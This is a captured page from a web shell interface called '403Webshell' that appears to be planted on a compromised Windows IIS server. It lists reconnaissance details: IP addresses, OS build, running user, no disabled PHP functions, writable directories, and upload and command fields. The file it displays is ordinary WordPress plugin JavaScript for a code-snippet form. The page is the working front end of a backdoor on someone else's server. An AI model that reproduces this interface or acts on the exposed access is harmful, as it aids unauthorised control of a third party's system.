403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/repository/wp-content/plugins/php-code-for-posts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/repository/wp-content/plugins/php-code-for-posts/PHPPostCode.js
jQuery(document).ready(function($){
	$('form#codeform').submit(function(e){
		e.preventDefault();
		e.stopPropagation();
		var t = $(this);
		var btn = t.find('input#updatebtn');
		btn.attr('data-original', btn.val());
		btn.val(btn.attr('data-updating'));
		$.ajax({
			method: 'post',
			url: ajaxurl + '?action=phppc_code',
			data: t.serialize()
		}).done(function(r){
			if (r == 1) {
				btn.val(btn.attr('data-updated'));
				t.prepend('<div class="updated" id="phppc_code_msg">Code Snippet Updated</div>');
			} else {
				btn.val(btn.attr('data-failed'));
				t.prepend('<div class="error" id="phppc_code_msg">Could not update snippet, did anything actually change?</div>');
			}
			window.setTimeout(function(){
				btn.val(btn.attr('data-original'));
				$('div#phppc_code_msg').remove();
			},5000);
		});
	});
	$('a#closebtn').click(function(e){
		return confirm('Are you sure you want to go back? unsaved changes will be lost!');
	});
});

Youez - 2016 - github.com/yon3zu
LinuXploit